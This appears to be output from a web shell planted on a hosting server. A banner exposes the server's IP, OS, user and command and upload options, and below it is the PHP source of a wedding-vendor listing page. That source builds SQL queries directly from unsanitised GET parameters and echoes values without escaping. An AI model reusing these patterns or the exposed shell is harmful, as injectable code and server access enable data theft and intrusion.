|
Server IP : 162.214.80.37 / Your IP : 216.73.216.83 Web Server : Apache System : Linux sh013.webhostingservices.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64 User : imyrqtmy ( 2189) PHP Version : 8.2.18 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0750) : /home2/imyrqtmy/public_html/eventsbyshubhchintak/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php include'includes/db-conn.inc.php';
$url=$_GET['url'];
if(isset($_GET['cityid']))
{
$cityid=$_GET['cityid'];
$sqlcityname=mysqli_query($conn,"select name from tbl_city where id='$cityid'") or die(mysqli_error($conn));
$rowscityname=mysqli_fetch_assoc($sqlcityname);
$cityname=$rowscityname['name'];
}
else
{
$cityid="";
$cityname="Select City";
}
$sqlsubcategory=mysqli_query($conn,"select * from tbl_subcategory where url='$url' and status='1'")or die(mysqli_error());
$rowsubcategory=mysqli_fetch_assoc( $sqlsubcategory);
$cateid=$rowsubcategory['category_id'];
$subcatename=$rowsubcategory['name'];
$subcateid=$rowsubcategory['id'];
$subcaturl=$rowsubcategory['url'];
if(isset($_GET['cityid'])){
$sqlistingcount=mysqli_query($conn,"select * from tbl_listing where category_id='$cateid' and subcategory_id='$subcateid' and status='1' and city='$cityid'")or die(mysqli_error($conn));
$countlisitng=mysqli_num_rows($sqlistingcount);
}
else{
$sqlistingcount=mysqli_query($conn,"select * from tbl_listing where category_id='$cateid' and subcategory_id='$subcateid' and status='1'")or die(mysqli_error($conn));
$countlisitng=mysqli_num_rows($sqlistingcount);
}
$sqlCity=mysqli_query($conn,"select * from tbl_city") or die(mysqli_error($conn));
while($rowscity=mysqli_fetch_assoc($sqlCity)){
$cityNameAry[$rowscity['id']]=$rowscity['name'];
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
<link rel="stylesheet" href="assets/libs/leaflet/dist/leaflet.css">
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<!-- Libs -->
<link rel="stylesheet" href="assets/libs/bootstrap-icons/font/bootstrap-icons.css">
<link rel="stylesheet" href="assets/fonts/wedding-icon-font/flaticon.css">
<link rel="stylesheet" href="assets/fonts/fontello/css/fontello.css">
<!-- Theme CSS -->
<?php include 'includes/head.php'; ?>
<link rel="stylesheet" href="assets/css/theme.min.css">
<title>All <?php echo $subcatename; ?> | Wedding & Event by Shubhchintak</title>
</head>
<body>
<!-- navbar -->
<?php include 'includes/navbar.php'; ?>
<main>
<section class="pt-6 pb-4">
<div class="container">
<div class="row">
<div class="col-lg-12 col-md-12 col-12">
<div>
<small style="color: #6b7280 !important;"><a href="index.php">Home ></a> Vendors > <?php echo $subcatename; ?></small><br>
<h4 class="display-5 fw-semi-bold mb-0" style="font-size: 24px;margin-top: 13px;">Shubhchintak's <?php echo $subcatename; ?></h4>
<small>Showing <b><?php echo $countlisitng; ?></b> results as per your search criteria</small>
</div>
</div>
</div>
</div>
</section>
<div class="">
<div class="container">
<div class="row">
<div class="col-md-12">
<!-- card -->
<div class="card">
<!-- card body -->
<div class="card-body p-0">
<!-- form -->
<form method="GET" action="listing.php">
<!-- <input type="hidden" name="url" value="<?php echo $subcaturl; ?>"> -->
<div class="row g-0">
<!-- col -->
<div class="col-sm">
<div class="form-floating">
<select class="form-select border-0 rounded-end-0" id="selectVenue"
aria-label="Floating label select example" style="padding-top:0px;height: 40px;padding-bottom: 2px;" name="url">
<!-- <option selected disabled="">Select Category</option> -->
<?php $sql=mysqli_query($conn,"select * from tbl_subcategory where category_id='$cateid' order by name ")or die(mysqli_error($conn));
while($row=mysqli_fetch_assoc($sql))
{?>
<option <?php if($subcaturl==$row['url']){ echo 'selected';}?> value="<?php echo $row['url']; ?>"><?php echo $row['name']; ?></option>
<?php }?>
</select>
</div>
</div>
<!-- col -->
<div class="col-sm border-start-md border-top border-top-md-0">
<div class="form-floating">
<input type="text" list="city" class="form-control" id="cityid" placeholder="Select City" value="<?php echo $cityname; ?>" required style="padding-top:0px;height: 40px;padding-bottom: 2px;">
<datalist id="city">
<?php $sqlcity=mysqli_query($conn,"select * from tbl_city where status='1' order by name asc")or die(mysqli_error($conn));
while($rowcity=mysqli_fetch_assoc($sqlcity))
{?>
<option data-id="<?php echo $rowcity['id']; ?>" value="<?php echo $rowcity['name']; ?>"></option>
<?php }?>
</datalist>
<input name="cityid" type="hidden" id="cityId" required value="<?php echo $cityid; ?>">
</div>
</div>
<!-- col -->
<div class="col-sm-1 border-start-md ps-md-0 border-top border-top-md-0">
<div class="d-grid ">
<button type="submit" style="padding-top: 2px !important;height: 32px;padding-bottom: 2px !important;" class="btn btn-lg py-2 my-1 btn-active-none"><i
class="bi bi-search d-none d-md-block"></i> <span
class="d-md-none">Search</span></button>
</div>
</div>
</div>
</form>
</div>
</div><br>
</div>
</div>
</div>
</div>
<section class="pb-6">
<div class="container">
<div class="row">
<?php
if(isset($_GET['cityid'])){
$sqlisting=mysqli_query($conn,"select * from tbl_listing where category_id='$cateid' and subcategory_id='$subcateid' and status='1' and city='$cityid'")or die(mysqli_error($conn));
}
else{
$sqlisting=mysqli_query($conn,"select * from tbl_listing where category_id='$cateid' and subcategory_id='$subcateid' and status='1'")or die(mysqli_error($conn));
}
while($rowlisting=mysqli_fetch_assoc($sqlisting))
{ extract($rowlisting);
$sqlreview2=mysqli_query($conn,"select * from tbl_review where active_status='1' and vendorid='$userreg_id'")or die(mysqli_error());
$reviewcount=mysqli_num_rows($sqlreview2);
$total_rating = 0;
$roundedAverageRating=0;
$averageRating=0;
while ($rowreview2 = mysqli_fetch_assoc($sqlreview2)) {
$total_rating += $rowreview2['rating'];
$averageRating = $total_rating / $reviewcount;
$roundedAverageRating = round($averageRating, 2);
}
?>
<!-- col -->
<div class="col-lg-4 col-md-4 col-12">
<div class="mb-6">
<!-- img -->
<div class="position-relative">
<a href="listing-detail.php?url=<?php echo $url; ?>"><img src="media/lisitngprofile/<?php echo $rowlisting['image']; ?>" alt="" class="img-fluid rounded-3"></a>
<!-- like -->
<!--<div class="position-absolute top-0 pe-2 pt-2 end-0">-->
<!-- <a href="#" class="text-white text-hover-primary" data-bs-toggle="modal"-->
<!-- data-bs-target="#favouriteIcon">-->
<!-- <svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" fill="currentColor"-->
<!-- class="bi bi-heart" viewBox="0 0 16 16">-->
<!-- <path-->
<!-- d="m8 2.748-.717-.737C5.6.281 2.514.878 1.4 3.053c-.523 1.023-.641 2.5.314 4.385.92 1.815 2.834 3.989 6.286 6.357 3.452-2.368 5.365-4.542 6.286-6.357.955-1.886.838-3.362.314-4.385C13.486.878 10.4.28 8.717 2.01L8 2.748zM8 15C-7.333 4.868 3.279-3.04 7.824 1.143c.06.055.119.112.176.171a3.12 3.12 0 0 1 .176-.17C12.72-3.042 23.333 4.867 8 15z" />-->
<!-- </svg>-->
<!-- </a>-->
<!--</div>-->
</div>
<!-- content -->
<div class="mt-3">
<h3 class="mb-0" style="margin-top: -15px;"><a href="#" class="text-inherit" style="font-size: 16px;"><?php echo $rowlisting['name']; ?></a></h3>
<p class="mb-1"><img src="assets/images/icon/maps-and-flags.png" style="width: 12px;margin-top: -3px;"> <?php echo $cityNameAry[$city];?></p>
<h3 class="mb-0" style="margin-top: -3px;"><a href="#" class="text-inherit" style="font-size: 15px;">₹ <?php echo $rowlisting['startingprice']; ?> <span style="font-size: 13px;color: grey;"><?php echo $rowlisting['pricetitle']; ?></span></a></h3>
<div style="float: right;position: relative;margin-top: -51px;">
<!-- rating -->
<span class="fs-5 lh-1 text-primary">
<svg xmlns="http://www.w3.org/2000/svg" width="14" height="14" fill="var(--rw-warning)"
class="bi bi-star-fill" viewBox="0 0 16 16">
<path
d="M3.612 15.443c-.386.198-.824-.149-.746-.592l.83-4.73L.173 6.765c-.329-.314-.158-.888.283-.95l4.898-.696L7.538.792c.197-.39.73-.39.927 0l2.184 4.327 4.898.696c.441.062.612.636.282.95l-3.522 3.356.83 4.73c.078.443-.36.79-.746.592L8 13.187l-4.389 2.256z" />
</svg>
</span>
<span class="fs-5 ms-1 lh-1 align-middle"><span class="text-dark fw-semi-bold"><?php echo $roundedAverageRating; ?></span>
(<?php echo $reviewcount; ?>)</span>
</div>
</div>
</div>
</div>
<!-- col -->
<?php }?>
</div>
</div>
</section>
<!-- get app -->
<section class="py-14"
style="background-image: url(assets/images/banner/cta-img-2.jpg); background-position: center; background-size: cover;">
<div class="container">
<div class="row">
<div class="col-lg-6">
<h2 class="display-6 text-white">Are you Vendor ?</h2>
<p class="text-white mb-4">Shubhchintak is a Best Place for you. Grow your Business with Shubhchintak Now ! <br> Sign Up to access your Dashboard</p>
<a href="vendor-register.php">
<button type="submit" class="btn" style="width: 50%;background: linear-gradient(90deg, #b02a37 0%, #b02a37 39%, #dc3545f2 100%);color: white;">Sign Up Now</button>
</a>
</div>
</div>
</div>
</section>
<!-- get app -->
</main>
<!-- footer -->
<?php include 'includes/footer.php'; ?>
<script>
// JavaScript code to capture the selected city ID and populate a hidden input field
document.getElementById('cityid').addEventListener('input', function () {
var selectedOption = document.querySelector('#city option[value="' + this.value + '"]');
if (selectedOption) {
var cityId = selectedOption.getAttribute('data-id');
document.getElementById('cityId').value = cityId;
}
});
</script>
<script src="assets/libs/jquery/dist/jquery.min.js"></script>
<script src="assets/libs/bootstrap/dist/js/bootstrap.bundle.min.js"></script>
<script src="assets/libs/flatpickr/dist/flatpickr.min.js"></script>
<!-- Theme JS -->
<script src="assets/js/theme.min.js"></script>
</body>
</html>